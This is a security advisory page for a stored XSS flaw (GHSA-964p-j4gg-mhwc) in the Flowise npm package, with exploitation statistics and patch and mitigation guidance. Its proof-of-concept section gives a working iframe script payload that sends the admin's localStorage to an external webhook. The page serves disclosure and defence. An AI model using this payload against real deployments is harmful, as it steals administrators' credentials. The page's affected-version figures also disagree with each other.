NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panelGHSA-964p-j4gg-mhwc

CRITICALFix: FlowiseAI/Flowise#4905

GHSA-964p-j4gg-mhwc is a critical-severity (CVSS 9.3) Cross-site Scripting (XSS) vulnerability in flowise. EPSS puts its 30-day exploitation probability at 14.7% (97th percentile). A fix is available for flowise — see the affected versions and patch details below.

Also known asCVE-2025-50538
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-964p-j4gg-mhwc.

EPSS Exploitation Probability

via FIRST.org ↗
14.7%probability of exploitation in next 30 days
Moderate Risk+0.67%
Lower risk than most CVEs97th percentile — riskier than 97% of all scored CVEsHighest risk
0.00%6.37%12.7%19.1%0.1%14.7%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
flowisenpm
5Kdownloads / week

Description

Summary

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.

Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.

PoC

  1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
  2. Send the following payload via the agent's chat interface: 
    <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">
  3. As an admin, go to the workflow and click "View Messages".
  4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

Impact

  • Type: Stored Cross-Site Scripting (XSS)
  • Who is impacted: Any admin viewing messages in the FlowiseAI UI
  • Data at risk: Admin credentials, or sensitive info stored in localStorage
  • Severity: High (Account takeover, admin privilege escalation, full panel compromise)

Affected Products

  • Ecosystem: npm
  • Package name: flowise
  • Affected versions: < 2.2.7
  • Patched versions:1

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.0.8npm install flowise@3.0.8

Affected Products

1 product · 1 configurations
Application
flowiseflowiseai
< 3.0.5
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-964p-j4gg-mhwc is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is exe
O3 Security · Impact-Aware SCA

Is GHSA-964p-j4gg-mhwc in your dependencies?

Find it across npm, including transitive dependencies.

Scan my dependencies How O3 SCA works
Flowise is vulnerable to stored XSS via "View Messages"…